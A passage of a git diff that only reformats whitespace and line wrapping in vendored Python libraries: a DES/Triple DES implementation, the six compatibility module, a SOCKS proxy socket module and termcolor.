below commented code + # j = 0 + # while j < len(self.R): + # self.R[j] = self.R[j] ^ self.L[j] + # j += 1 + + # L[i] becomes R[i - 1] + self.L = tempR + + i += 1 + iteration += iteration_adjustment + + # Final permutation of R[16]L[16] + self.final = self.__permutate(des.__fp, self.R + self.L) + return self.final + + # Data to be encrypted/decrypted + def crypt(self, data, crypt_type): + """Crypt the data in blocks, running it through des_crypt()""" + + # Error check the data + if not data: + return '' + if len(data) % self.block_size != 0: + if crypt_type == des.DECRYPT: # Decryption must work on 8 byte blocks + raise ValueError( + "Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n.") + if not self.getPadding(): + raise ValueError("Invalid data length, data must be a multiple of " + str( + self.block_size) + " bytes\n. Try setting the optional padding character") + else: + data += (self.block_size - (len(data) % self.block_size)) * self.getPadding() + # print "Len of data: %f" % (len(data) / self.block_size) + + if self.getMode() == CBC: + if self.getIV(): + iv = self.__String_to_BitList(self.getIV()) + else: + raise ValueError("For CBC mode, you must supply the Initial Value (IV) for ciphering") + + # Split the data into blocks, crypting each one seperately + i = 0 + dict = {} + result = [] + # cached = 0 + # lines = 0 + while i < len(data): + # Test code for caching encryption results + # lines += 1 + # if dict.has_key(data[i:i+8]): + # print "Cached result for: %s" % data[i:i+8] + # cached += 1 + # result.append(dict[data[i:i+8]]) + # i += 8 + # continue + + block = self.__String_to_BitList(data[i:i + 8]) + + # Xor with IV if using CBC mode + if self.getMode() == CBC: + if crypt_type == des.ENCRYPT: + block = list(map(lambda x, y: x ^ y, block, iv)) + # j = 0 + # while j < len(block): + # block[j] = block[j] ^ iv[j] + # j += 1 + + processed_block = self.__des_crypt(block, crypt_type) + + if crypt_type == des.DECRYPT: + processed_block = list(map(lambda x, y: x ^ y, processed_block, iv)) + # j = 0 + # while j < len(processed_block): + # processed_block[j] = processed_block[j] ^ iv[j] + # j += 1 + iv = block + else: + iv = processed_block + else: + processed_block = self.__des_crypt(block, crypt_type) + + # Add the resulting crypted block to our list + # d = self.__BitList_to_String(processed_block) + # result.append(d) + result.append(self.__BitList_to_String(processed_block)) + # dict[data[i:i+8]] = d + i += 8 + + # print "Lines: %d, cached: %d" % (lines, cached) + + # Return the full crypted string + if _pythonMajorVersion < 3: + return ''.join(result) + else: + return bytes.fromhex('').join(result) + + def encrypt(self, data, pad=None, padmode=None): + """encrypt(data, [pad], [padmode]) -> bytes + + data : Bytes to be encrypted + pad : Optional argument for encryption padding. Must only be one byte + padmode : Optional argument for overriding the padding mode. + + The data must be a multiple of 8 bytes and will be encrypted + with the already specified key. Data does not have to be a + multiple of 8 bytes if the padding character is supplied, or + the padmode is set to PAD_PKCS5, as bytes will then added to + ensure the be padded data is a multiple of 8 bytes. + """ + data = self._guardAgainstUnicode(data) + if pad is not None: + pad = self._guardAgainstUnicode(pad) + data = self._padData(data, pad, padmode) + return self.crypt(data, des.ENCRYPT) + + def decrypt(self, data, pad=None, padmode=None): + """decrypt(data, [pad], [padmode]) -> bytes + + data : Bytes to be encrypted + pad : Optional argument for decryption padding. Must only be one byte + padmode : Optional argument for overriding the padding mode. + + The data must be a multiple of 8 bytes and will be decrypted + with the already specified key. In PAD_NORMAL mode, if the + optional padding character is supplied, then the un-encrypted + data will have the padding characters removed from the end of + the bytes. This pad removal only occurs on the last 8 bytes of + the data (last data block). In PAD_PKCS5 mode, the special + padding end markers will be removed from the data after decrypting. + """ + data = self._guardAgainstUnicode(data) + if pad is not None: + pad = self._guardAgainstUnicode(pad) + data = self.crypt(data, des.DECRYPT) + return self._unpadData(data, pad, padmode) ############################################################################# # Triple DES # ############################################################################# class triple_des(_baseDes): - """Triple DES encryption/decrytpion class + """Triple DES encryption/decrytpion class - This algorithm uses the DES-EDE3 (when a 24 byte key is supplied) or - the DES-EDE2 (when a 16 byte key is supplied) encryption methods. - Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes. + This algorithm uses the DES-EDE3 (when a 24 byte key is supplied) or + the DES-EDE2 (when a 16 byte key is supplied) encryption methods. + Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes. - pyDes.des(key, [mode], [IV]) + pyDes.des(key, [mode], [IV]) - key -> Bytes containing the encryption key, must be either 16 or - 24 bytes long - mode -> Optional argument for encryption type, can be either pyDes.ECB - (Electronic Code Book), pyDes.CBC (Cypher Block Chaining) - IV -> Optional Initial Value bytes, must be supplied if using CBC mode. - Must be 8 bytes in length. - pad -> Optional argument, set the pad character (PAD_NORMAL) to use - during all encrypt/decrpt operations done with this instance. - padmode -> Optional argument, set the padding mode (PAD_NORMAL or - PAD_PKCS5) to use during all encrypt/decrpt operations done - with this instance. - """ - def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): - _baseDes.__init__(self, mode, IV, pad, padmode) - self.setKey(key) + key -> Bytes containing the encryption key, must be either 16 or + 24 bytes long + mode -> Optional argument for encryption type, can be either pyDes.ECB + (Electronic Code Book), pyDes.CBC (Cypher Block Chaining) + IV -> Optional Initial Value bytes, must be supplied if using CBC mode. + Must be 8 bytes in length. + pad -> Optional argument, set the pad character (PAD_NORMAL) to use + during all encrypt/decrpt operations done with this instance. + padmode -> Optional argument, set the padding mode (PAD_NORMAL or + PAD_PKCS5) to use during all encrypt/decrpt operations done + with this instance. + """ - def setKey(self, key): - """Will set the crypting key for this object. Either 16 or 24 bytes long.""" - self.key_size = 24 # Use DES-EDE3 mode - if len(key) != self.key_size: - if len(key) == 16: # Use DES-EDE2 mode - self.key_size = 16 - else: - raise ValueError("Invalid triple DES key size. Key must be either 16 or 24 bytes long") - if self.getMode() == CBC: - if not self.getIV(): - # Use the first 8 bytes of the key - self._iv = key[:self.block_size] - if len(self.getIV()) != self.block_size: - raise ValueError("Invalid IV, must be 8 bytes in length") - self.__key1 = des(key[:8], self._mode, self._iv, - self._padding, self._padmode) - self.__key2 = des(key[8:16], self._mode, self._iv, - self._padding, self._padmode) - if self.key_size == 16: - self.__key3 = self.__key1 - else: - self.__key3 = des(key[16:], self._mode, self._iv, - self._padding, self._padmode) - _baseDes.setKey(self, key) + def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): + _baseDes.__init__(self, mode, IV, pad, padmode) + self.setKey(key) - # Override setter methods to work on all 3 keys. + def setKey(self, key): + """Will set the crypting key for this object. Either 16 or 24 bytes long.""" + self.key_size = 24 # Use DES-EDE3 mode + if len(key) != self.key_size: + if len(key) == 16: # Use DES-EDE2 mode + self.key_size = 16 + else: + raise ValueError("Invalid triple DES key size. Key must be either 16 or 24 bytes long") + if self.getMode() == CBC: + if not self.getIV(): + # Use the first 8 bytes of the key + self._iv = key[:self.block_size] + if len(self.getIV()) != self.block_size: + raise ValueError("Invalid IV, must be 8 bytes in length") + self.__key1 = des(key[:8], self._mode, self._iv, + self._padding, self._padmode) + self.__key2 = des(key[8:16], self._mode, self._iv, + self._padding, self._padmode) + if self.key_size == 16: + self.__key3 = self.__key1 + else: + self.__key3 = des(key[16:], self._mode, self._iv, + self._padding, self._padmode) + _baseDes.setKey(self, key) - def setMode(self, mode): - """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC""" - _baseDes.setMode(self, mode) - for key in (self.__key1, self.__key2, self.__key3): - key.setMode(mode) + # Override setter methods to work on all 3 keys. - def setPadding(self, pad): - """setPadding() -> bytes of length 1. Padding character.""" - _baseDes.setPadding(self, pad) - for key in (self.__key1, self.__key2, self.__key3): - key.setPadding(pad) + def setMode(self, mode): + """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC""" + _baseDes.setMode(self, mode) + for key in (self.__key1, self.__key2, self.__key3): + key.setMode(mode) - def setPadMode(self, mode): - """Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" - _baseDes.setPadMode(self, mode) - for key in (self.__key1, self.__key2, self.__key3): - key.setPadMode(mode) + def setPadding(self, pad): + """setPadding() -> bytes of length 1. Padding character.""" + _baseDes.setPadding(self, pad) + for key in (self.__key1, self.__key2, self.__key3): + key.setPadding(pad) - def setIV(self, IV): - """Will set the Initial Value, used in conjunction with CBC mode""" - _baseDes.setIV(self, IV) - for key in (self.__key1, self.__key2, self.__key3): - key.setIV(IV) + def setPadMode(self, mode): + """Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" + _baseDes.setPadMode(self, mode) + for key in (self.__key1, self.__key2, self.__key3): + key.setPadMode(mode) - def encrypt(self, data, pad=None, padmode=None): - """encrypt(data, [pad], [padmode]) -> bytes + def setIV(self, IV): + """Will set the Initial Value, used in conjunction with CBC mode""" + _baseDes.setIV(self, IV) + for key in (self.__key1, self.__key2, self.__key3): + key.setIV(IV) - data : bytes to be encrypted - pad : Optional argument for encryption padding. Must only be one byte - padmode : Optional argument for overriding the padding mode. + def encrypt(self, data, pad=None, padmode=None): + """encrypt(data, [pad], [padmode]) -> bytes - The data must be a multiple of 8 bytes and will be encrypted - with the already specified key. Data does not have to be a - multiple of 8 bytes if the padding character is supplied, or - the padmode is set to PAD_PKCS5, as bytes will then added to - ensure the be padded data is a multiple of 8 bytes. - """ - ENCRYPT = des.ENCRYPT - DECRYPT = des.DECRYPT - data = self._guardAgainstUnicode(data) - if pad is not None: - pad = self._guardAgainstUnicode(pad) - # Pad the data accordingly. - data = self._padData(data, pad, padmode) - if self.getMode() == CBC: - self.__key1.setIV(self.getIV()) - self.__key2.setIV(self.getIV()) - self.__key3.setIV(self.getIV()) - i = 0 - result = [] - while i < len(data): - block = self.__key1.crypt(data[i:i+8], ENCRYPT) - block = self.__key2.crypt(block, DECRYPT) - block = self.__key3.crypt(block, ENCRYPT) - self.__key1.setIV(block) - self.__key2.setIV(block) - self.__key3.setIV(block) - result.append(block) - i += 8 - if _pythonMajorVersion < 3: - return ''.join(result) - else: - return bytes.fromhex('').join(result) - else: - data = self.__key1.crypt(data, ENCRYPT) - data = self.__key2.crypt(data, DECRYPT) - return self.__key3.crypt(data, ENCRYPT) + data : bytes to be encrypted + pad : Optional argument for encryption padding. Must only be one byte + padmode : Optional argument for overriding the padding mode. - def decrypt(self, data, pad=None, padmode=None): - """decrypt(data, [pad], [padmode]) -> bytes + The data must be a multiple of 8 bytes and will be encrypted + with the already specified key. Data does not have to be a + multiple of 8 bytes if the padding character is supplied, or + the padmode is set to PAD_PKCS5, as bytes will then added to + ensure the be padded data is a multiple of 8 bytes. + """ + ENCRYPT = des.ENCRYPT + DECRYPT = des.DECRYPT + data = self._guardAgainstUnicode(data) + if pad is not None: + pad = self._guardAgainstUnicode(pad) + # Pad the data accordingly. + data = self._padData(data, pad, padmode) + if self.getMode() == CBC: + self.__key1.setIV(self.getIV()) + self.__key2.setIV(self.getIV()) + self.__key3.setIV(self.getIV()) + i = 0 + result = [] + while i < len(data): + block = self.__key1.crypt(data[i:i + 8], ENCRYPT) + block = self.__key2.crypt(block, DECRYPT) + block = self.__key3.crypt(block, ENCRYPT) + self.__key1.setIV(block) + self.__key2.setIV(block) + self.__key3.setIV(block) + result.append(block) + i += 8 + if _pythonMajorVersion < 3: + return ''.join(result) + else: + return bytes.fromhex('').join(result) + else: + data = self.__key1.crypt(data, ENCRYPT) + data = self.__key2.crypt(data, DECRYPT) + return self.__key3.crypt(data, ENCRYPT) - data : bytes to be encrypted - pad : Optional argument for decryption padding. Must only be one byte - padmode : Optional argument for overriding the padding mode. + def decrypt(self, data, pad=None, padmode=None): + """decrypt(data, [pad], [padmode]) -> bytes - The data must be a multiple of 8 bytes and will be decrypted - with the already specified key. In PAD_NORMAL mode, if the - optional padding character is supplied, then the un-encrypted - data will have the padding characters removed from the end of - the bytes. This pad removal only occurs on the last 8 bytes of - the data (last data block). In PAD_PKCS5 mode, the special - padding end markers will be removed from the data after - decrypting, no pad character is required for PAD_PKCS5. - """ - ENCRYPT = des.ENCRYPT - DECRYPT = des.DECRYPT - data = self._guardAgainstUnicode(data) - if pad is not None: - pad = self._guardAgainstUnicode(pad) - if self.getMode() == CBC: - self.__key1.setIV(self.getIV()) - self.__key2.setIV(self.getIV()) - self.__key3.setIV(self.getIV()) - i = 0 - result = [] - while i < len(data): - iv = data[i:i+8] - block = self.__key3.crypt(iv, DECRYPT) - block = self.__key2.crypt(block, ENCRYPT) - block = self.__key1.crypt(block, DECRYPT) - self.__key1.setIV(iv) - self.__key2.setIV(iv) - self.__key3.setIV(iv) - result.append(block) - i += 8 - if _pythonMajorVersion < 3: - data = ''.join(result) - else: - data = bytes.fromhex('').join(result) - else: - data = self.__key3.crypt(data, DECRYPT) - data = self.__key2.crypt(data, ENCRYPT) - data = self.__key1.crypt(data, DECRYPT) - return self._unpadData(data, pad, padmode) + data : bytes to be encrypted + pad : Optional argument for decryption padding. Must only be one byte + padmode : Optional argument for overriding the padding mode. + + The data must be a multiple of 8 bytes and will be decrypted + with the already specified key. In PAD_NORMAL mode, if the + optional padding character is supplied, then the un-encrypted + data will have the padding characters removed from the end of + the bytes. This pad removal only occurs on the last 8 bytes of + the data (last data block). In PAD_PKCS5 mode, the special + padding end markers will be removed from the data after + decrypting, no pad character is required for PAD_PKCS5. + """ + ENCRYPT = des.ENCRYPT + DECRYPT = des.DECRYPT + data = self._guardAgainstUnicode(data) + if pad is not None: + pad = self._guardAgainstUnicode(pad) + if self.getMode() == CBC: + self.__key1.setIV(self.getIV()) + self.__key2.setIV(self.getIV()) + self.__key3.setIV(self.getIV()) + i = 0 + result = [] + while i < len(data): + iv = data[i:i + 8] + block = self.__key3.crypt(iv, DECRYPT) + block = self.__key2.crypt(block, ENCRYPT) + block = self.__key1.crypt(block, DECRYPT) + self.__key1.setIV(iv) + self.__key2.setIV(iv) + self.__key3.setIV(iv) + result.append(block) + i += 8 + if _pythonMajorVersion < 3: + data = ''.join(result) + else: + data = bytes.fromhex('').join(result) + else: + data = self.__key3.crypt(data, DECRYPT) + data = self.__key2.crypt(data, ENCRYPT) + data = self.__key1.crypt(data, DECRYPT) + return self._unpadData(data, pad, padmode) diff --git a/thirdparty/six/__init__.py b/thirdparty/six/__init__.py index d4fe9849f..59ba96c4f 100644 --- a/thirdparty/six/__init__.py +++ b/thirdparty/six/__init__.py @@ -31,7 +31,6 @@ import types __author__ = "Benjamin Peterson " __version__ = "1.16.0" - # Useful for very coarse version differentiation. PY2 = sys.version_info[0] == 2 PY3 = sys.version_info[0] == 3 @@ -61,6 +60,8 @@ else: def __len__(self): return 1 << 31 + + try: len(X()) except OverflowError: @@ -167,7 +168,6 @@ class MovedAttribute(_LazyDescr): class _SixMetaPathImporter(object): - """ A meta path importer to import six.moves and its submodules. @@ -231,6 +231,7 @@ class _SixMetaPathImporter(object): Required, if is_package is implemented""" self.__get_module(fullname) # eventually raises ImportError return None + get_source = get_code # same as get_code def create_module(self, spec): @@ -239,11 +240,11 @@ class _SixMetaPathImporter(object): def exec_module(self, module): pass + _importer = _SixMetaPathImporter(__name__) class _MovedItems(_LazyModule): - """Lazy loading of moved objects""" __path__ = [] # mark as package @@ -338,7 +339,6 @@ _importer._add_module(moves, "moves") class Module_six_moves_urllib_parse(_LazyModule): - """Lazy loading of moved objects in six.moves.urllib_parse""" @@ -380,7 +380,6 @@ _importer._add_module(Module_six_moves_urllib_parse(__name__ + ".moves.urllib_pa class Module_six_moves_urllib_error(_LazyModule): - """Lazy loading of moved objects in six.moves.urllib_error""" @@ -400,7 +399,6 @@ _importer._add_module(Module_six_moves_urllib_error(__name__ + ".moves.urllib.er class Module_six_moves_urllib_request(_LazyModule): - """Lazy loading of moved objects in six.moves.urllib_request""" @@ -452,7 +450,6 @@ _importer._add_module(Module_six_moves_urllib_request(__name__ + ".moves.urllib. class Module_six_moves_urllib_response(_LazyModule): - """Lazy loading of moved objects in six.moves.urllib_response""" @@ -473,7 +470,6 @@ _importer._add_module(Module_six_moves_urllib_response(__name__ + ".moves.urllib class Module_six_moves_urllib_robotparser(_LazyModule): - """Lazy loading of moved objects in six.moves.urllib_robotparser""" @@ -491,7 +487,6 @@ _importer._add_module(Module_six_moves_urllib_robotparser(__name__ + ".moves.url class Module_six_moves_urllib(types.ModuleType): - """Create a six.moves.urllib namespace that resembles the Python 3 namespace""" __path__ = [] # mark as package parse = _importer._get_module("moves.urllib_parse") @@ -503,6 +498,7 @@ class Module_six_moves_urllib(types.ModuleType): def __dir__(self): return ['parse', 'error', 'request', 'response', 'robotparser'] + _importer._add_module(Module_six_moves_urllib(__name__ + ".moves.urllib"), "moves.urllib") @@ -540,7 +536,6 @@ else: _func_defaults = "func_defaults" _func_globals = "func_globals" - try: advance_iterator = next except NameError: @@ -548,44 +543,48 @@ except NameError: return it.next() next = advance_iterator - try: callable = callable except NameError: def callable(obj): return any("__call__" in klass.__dict__ for klass in type(obj).__mro__) - if PY3: def get_unbound_function(unbound): return unbound + create_bound_method = types.MethodType + def create_unbound_method(func, cls): return func + Iterator = object else: def get_unbound_function(unbound): return unbound.im_func + def create_bound_method(func, obj): return types.MethodType(func, obj, obj.__class__) + def create_unbound_method(func, cls): return types.MethodType(func, None, cls) + class Iterator(object): def next(self): return type(self).__next__(self) + callable = callable _add_doc(get_unbound_function, """Get the function out of a possibly unbound function""") - get_method_function = operator.attrgetter(_meth_func) get_method_self = operator.attrgetter(_meth_self) get_function_closure = operator.attrgetter(_func_closure) @@ -593,20 +592,23 @@ get_function_code = operator.attrgetter(_func_code) get_function_defaults = operator.attrgetter(_func_defaults) get_function_globals = operator.attrgetter(_func_globals) - if PY3: def iterkeys(d, **kw): return iter(d.keys(**kw)) + def itervalues(d, **kw): return iter(d.values(**kw)) + def iteritems(d, **kw): return iter(d.items(**kw)) + def iterlists(d, **kw): return iter(d.lists(**kw)) + viewkeys = operator.methodcaller("keys") viewvalues = operator.methodcaller("values") @@ -616,15 +618,19 @@ else: def iterkeys(d, **kw): return d.iterkeys(**kw) + def itervalues(d, **kw): return d.itervalues(**kw) + def iteritems(d, **kw): return d.iteritems(**kw) + def iterlists(d, **kw): return d.iterlists(**kw) + viewkeys = operator.methodcaller("viewkeys") viewvalues = operator.methodcaller("viewvalues") @@ -638,21 +644,25 @@ _add_doc(iteritems, _add_doc(iterlists, "Return an iterator over the (key, [values]) pairs of a dictionary.") - if PY3: def b(s): return s.encode("latin-1") + def u(s): return s + + unichr = chr import struct + int2byte = struct.Struct(">B").pack del struct byte2int = operator.itemgetter(0) indexbytes = operator.getitem iterbytes = iter import io + StringIO = io.StringIO BytesIO = io.BytesIO del io @@ -668,20 +678,29 @@ if PY3: else: def b(s): return s + + # Workaround for standalone backslash def u(s): return unicode(s.replace(r'\\', r'\\\\'), "unicode_escape") + + unichr = unichr int2byte = chr + def byte2int(bs): return ord(bs[0]) + def indexbytes(buf, i): return ord(buf[i]) + + iterbytes = functools.partial(itertools.imap, ord) import StringIO + StringIO = BytesIO = StringIO.StringIO _assertCountEqual = "assertItemsEqual" _assertRaisesRegex = "assertRaisesRegexp" @@ -710,6 +729,7 @@ def assertNotRegex(self, *args, **kwargs): if PY3: exec_ = getattr(moves.builtins, "exec") + def reraise(tp, value, tb=None): try: if value is None: @@ -734,6 +754,7 @@ else: _locs_ = _globs_ exec("""exec _code_ in _globs_, _locs_""") + exec_("""def reraise(tp, value, tb=None): try: raise tp, value, tb @@ -741,7 +762,6 @@ else: tb = None """) - if sys.version_info[:2] > (3,): exec_("""def raise_from(value, from_value): try: @@ -753,7 +773,6 @@ else: def raise_from(value, from_value): raise value - print_ = getattr(moves.builtins, "print", None) if print_ is None: def print_(*args, **kwargs): @@ -774,6 +793,7 @@ if print_ is None: errors = "strict" data = data.encode(fp.encoding, errors) fp.write(data) + want_unicode = False sep = kwargs.pop("sep", None) if sep is not None: @@ -812,6 +832,7 @@ if print_ is None: if sys.version_info[:2] < (3, 3): _print = print_ + def print_(*args, **kwargs): fp = kwargs.get("file", sys.stdout) flush = kwargs.pop("flush", False) @@ -841,12 +862,17 @@ if sys.version_info[0:2] < (3, 4): getattr(wrapper, attr).update(getattr(wrapped, attr, {})) wrapper.__wrapped__ = wrapped return wrapper + + _update_wrapper.__doc__ = functools.update_wrapper.__doc__ + def wraps(wrapped, assigned=functools.WRAPPER_ASSIGNMENTS, updated=functools.WRAPPER_UPDATES): return functools.partial(_update_wrapper, wrapped=wrapped, assigned=assigned, updated=updated) + + wraps.__doc__ = functools.wraps.__doc__ else: @@ -855,6 +881,7 @@ else: def with_metaclass(meta, *bases): """Create a base class with a metaclass.""" + # This requires a bit of explanation: the basic idea is to make a dummy # metaclass for one level of class instantiation that replaces itself with # the actual metaclass. @@ -874,11 +901,13 @@ def with_metaclass(meta, *bases): @classmethod def __prepare__(cls, name, this_bases): return meta.__prepare__(name, bases) + return type.__new__(metaclass, 'temporary_class', (), {}) def add_metaclass(metaclass): """Class decorator for creating a class with a metaclass.""" + def wrapper(cls): orig_vars = cls.__dict__.copy() slots = orig_vars.get('__slots__') @@ -892,6 +921,7 @@ def add_metaclass(metaclass): if hasattr(cls, '__qualname__'): orig_vars['__qualname__'] = cls.__qualname__ return metaclass(cls.__name__, cls.__bases__, orig_vars) + return wrapper diff --git a/thirdparty/socks/socks.py b/thirdparty/socks/socks.py index 2ee96695c..cfe958404 100644 --- a/thirdparty/socks/socks.py +++ b/thirdparty/socks/socks.py @@ -55,42 +55,55 @@ _defaultproxy = None socket._orig_socket = _orgsocket = _orig_socket = socket.socket _orgcreateconnection = socket.create_connection + class ProxyError(Exception): pass + + class GeneralProxyError(ProxyError): pass + + class Socks5AuthError(ProxyError): pass + + class Socks5Error(ProxyError): pass + + class Socks4Error(ProxyError): pass + + class HTTPError(ProxyError): pass + _generalerrors = ("success", - "invalid data", - "not connected", - "not available", - "bad proxy type", - "bad input") + "invalid data", + "not connected", + "not available", + "bad proxy type", + "bad input") _socks5errors = ("succeeded", - "general SOCKS server failure", - "connection not allowed by ruleset", - "Network unreachable", - "Host unreachable", - "Connection refused", - "TTL expired", - "Command not supported", - "Address type not supported", - "Unknown error") + "general SOCKS server failure", + "connection not allowed by ruleset", + "Network unreachable", + "Host unreachable", + "Connection refused", + "TTL expired", + "Command not supported", + "Address type not supported", + "Unknown error") _socks5autherrors = ("succeeded", - "authentication is required", - "all offered authentication methods were rejected", - "unknown username or invalid password", - "unknown error") + "authentication is required", + "all offered authentication methods were rejected", + "unknown username or invalid password", + "unknown error") _socks4errors = ("request granted", - "request rejected or failed", - "request rejected because SOCKS server cannot connect to identd on the client", - "request rejected because the client program and identd report different user-ids", - "unknown error") + "request rejected or failed", + "request rejected because SOCKS server cannot connect to identd on the client", + "request rejected because the client program and identd report different user-ids", + "unknown error") + def setdefaultproxy(proxytype=None, addr=None, port=None, rdns=True, username=None, password=None): """setdefaultproxy(proxytype, addr[, port[, rdns[, username[, password]]]]) @@ -100,6 +113,7 @@ def setdefaultproxy(proxytype=None, addr=None, port=None, rdns=True, username=No global _defaultproxy _defaultproxy = (proxytype, addr, port, rdns, username, password) + def wrapmodule(module): """wrapmodule(module) Attempts to replace a module's socket library with a SOCKS socket. Must set @@ -117,10 +131,12 @@ def wrapmodule(module): else: raise GeneralProxyError((4, "no proxy specified")) + def unwrapmodule(module): module.socket.socket = _orgsocket module.socket.create_connection = _orgcreateconnection + class socksocket(socket.socket): """socksocket([family[, type[, proto]]]) -> socket object Open a SOCKS enabled socket. The parameters are the same as @@ -144,7 +160,7 @@ class socksocket(socket.socket): """ data = self.recv(count) while len(data) < count: - d = self.recv(count-len(data)) + d = self.recv(count - len(data)) if not d: raise GeneralProxyError((0, "connection closed unexpectedly")) data = data + d return data @@ -173,7 +189,7 @@ class socksocket(socket.socket): Negotiates a connection through a SOCKS5 server. """ # First we'll send the authentication packages we support. - if (self.__proxy[4]!=None) and (self.__proxy[5]!=None): + if (self.__proxy[4] != None) and (self.__proxy[5] != None): # The username/password details were supplied to the # setproxy method so we support the USERNAME/PASSWORD # authentication (in addition to the standard none). @@ -195,7 +211,8 @@ class socksocket(socket.socket): elif chosenauth[1:2] == chr(0x02).encode(): # Okay, we need to perform a basic username/password # authentication. - self.sendall(chr(0x01).encode() + chr(len(self.__proxy[4])) + self.__proxy[4] + chr(len(self.__proxy[5])) + self.__proxy[5]) + self.sendall(chr(0x01).encode() + chr(len(self.__proxy[4])) + self.__proxy[4] + chr(len(self.__proxy[5])) + + self.__proxy[5]) authstat = self.__recvall(2) if authstat[0:1] != chr(0x01).encode(): # Bad response @@ -225,7 +242,8 @@ class socksocket(socket.socket): if self.__proxy[3]: # Resolve remotely ipaddr = None - req = req + chr(0x03).encode() + chr(len(destaddr)).encode() + (destaddr if isinstance(destaddr, bytes) else destaddr.encode()) + req = req + chr(0x03).encode() + chr(len(destaddr)).encode() + ( + destaddr if isinstance(destaddr, bytes) else destaddr.encode()) else: # Resolve locally ipaddr = socket.inet_aton(socket.gethostbyname(destaddr)) @@ -240,7 +258,7 @@ class socksocket(socket.socket): elif resp[1:2] != chr(0x00).encode(): # Connection failed self.close() - if ord(resp[1:2])<=8: + if ord(resp[1:2]) <= 8: raise Socks5Error((ord(resp[1:2]), _socks5errors[ord(resp[1:2])])) else: raise Socks5Error((9, _socks5errors[9])) @@ -252,7 +270,7 @@ class socksocket(socket.socket): boundaddr = self.__recvall(ord(resp[4:5])) else: self.close() - raise GeneralProxyError((1,_generalerrors[1])) + raise GeneralProxyError((1, _generalerrors[1])) boundport = struct.unpack(">H", self.__recvall(2))[0] self.__proxysockname = (boundaddr, boundport) if ipaddr != None: @@ -279,7 +297,7 @@ class socksocket(socket.socket): """ return self.__proxypeername - def __negotiatesocks4(self,destaddr,destport): + def __negotiatesocks4(self, destaddr, destport): """__negotiatesocks4(self,destaddr,destport) Negotiates a connection through a SOCKS4 server. """ @@ -311,7 +329,7 @@ class socksocket(socket.socket): if resp[0:1] != chr(0x00).encode(): # Bad data self.close() - raise GeneralProxyError((1,_generalerrors[1])) + raise GeneralProxyError((1, _generalerrors[1])) if resp[1:2] != chr(0x5A).encode(): # Server returned an error self.close() @@ -336,7 +354,8 @@ class socksocket(socket.socket): addr = socket.gethostbyname(destaddr) else: addr = destaddr - self.sendall(("CONNECT " + addr + ":" + str(destport) + " HTTP/1.1\r\n" + "Host: " + destaddr + "\r\n\r\n").encode()) + self.sendall( + ("CONNECT " + addr + ":" + str(destport) + " HTTP/1.1\r\n" + "Host: " + destaddr + "\r\n\r\n").encode()) # We read the response until we get the string "\r\n\r\n" resp = self.recv(1) while resp.find("\r\n\r\n".encode()) == -1: @@ -366,7 +385,8 @@ class socksocket(socket.socket): To select the proxy server use setproxy(). """ # Do a minimal input check first - if (not type(destpair) in (list,tuple)) or (len(destpair) < 2) or (type(destpair[0]) != type('')) or (type(destpair[1]) != int): + if (not type(destpair) in (list, tuple)) or (len(destpair) < 2) or (type(destpair[0]) != type('')) or ( + type(destpair[1]) != int): raise GeneralProxyError((5, _generalerrors[5])) if self.__proxy[0] == PROXY_TYPE_SOCKS5: if self.__proxy[2] != None: @@ -380,22 +400,23 @@ class socksocket(socket.socket): portnum = self.__proxy[2] else: portnum = 1080 - _orgsocket.connect(self,(self.__proxy[1], portnum)) + _orgsocket.connect(self, (self.__proxy[1], portnum)) self.__negotiatesocks4(destpair[0], destpair[1]) elif self.__proxy[0] == PROXY_TYPE_HTTP: if self.__proxy[2] != None: portnum = self.__proxy[2] else: portnum = 8080 - _orgsocket.connect(self,(self.__proxy[1], portnum)) + _orgsocket.connect(self, (self.__proxy[1], portnum)) self.__negotiatehttp(destpair[0], destpair[1]) elif self.__proxy[0] == None: _orgsocket.connect(self, (destpair[0], destpair[1])) else: raise GeneralProxyError((4, _generalerrors[4])) + def create_connection(address, timeout=socket._GLOBAL_DEFAULT_TIMEOUT, - source_address=None): + source_address=None): # Patched for a DNS-leakage host, port = address sock = None diff --git a/thirdparty/termcolor/termcolor.py b/thirdparty/termcolor/termcolor.py index ddea6dd59..39beb95a1 100644 --- a/thirdparty/termcolor/termcolor.py +++ b/thirdparty/termcolor/termcolor.py @@ -26,58 +26,55 @@ from __future__ import print_function import os - -__ALL__ = [ 'colored', 'cprint' ] +__ALL__ = ['colored', 'cprint'] VERSION = (1, 1, 0) ATTRIBUTES = dict( - list(zip([ - 'bold', - 'dark', - '', - 'underline', - 'blink', - '', - 'reverse', - 'concealed' - ], - list(range(1, 9)) - )) - ) + list(zip([ + 'bold', + 'dark', + '', + 'underline', + 'blink', + '', + 'reverse', + 'concealed' + ], + list(range(1, 9)) + )) +) del ATTRIBUTES[''] - HIGHLIGHTS = dict( - list(zip([ - 'on_grey', - 'on_red', - 'on_green', - 'on_yellow', - 'on_blue', - 'on_magenta', - 'on_cyan', - 'on_white' - ], - list(range(40, 48)) - )) - ) - + list(zip([ + 'on_grey', + 'on_red', + 'on_green', + 'on_yellow', + 'on_blue', + 'on_magenta', + 'on_cyan', + 'on_white' + ], + list(range(40, 48)) + )) +) COLORS = dict( - list(zip([ - 'grey', - 'red', - 'green', - 'yellow', - 'blue', - 'magenta', - 'cyan', - 'white', - ], - list(range(30, 38)) - )) - ) + list(zip([ + 'grey', + 'red', + 'green', + 'yellow', + 'blue', + 'magenta', + 'cyan', + 'white', + ], + list(range(30, 38)) + )) +) COLORS.update(dict(("light%s" % color, COLORS[color] + 60) for color in COLORS)) @@ -161,13 +158,12 @@ if __name__ == '__main__': cprint('Reversed blue color', 'blue', attrs=['reverse']) cprint('Concealed Magenta color', 'magenta', attrs=['concealed']) cprint('Bold underline reverse cyan color', 'cyan', - attrs=['bold', 'underline', 'reverse']) + attrs=['bold', 'underline', 'reverse']) cprint('Dark blink concealed white color', 'white', - attrs=['dark', 'blink', 'concealed']) + attrs=['dark', 'blink', 'concealed']) print(('-' * 78)) print('Test mixing:') cprint('Underline red on grey color', 'red', 'on_grey', - ['underline']) + ['underline']) cprint('Reversed green on red color', 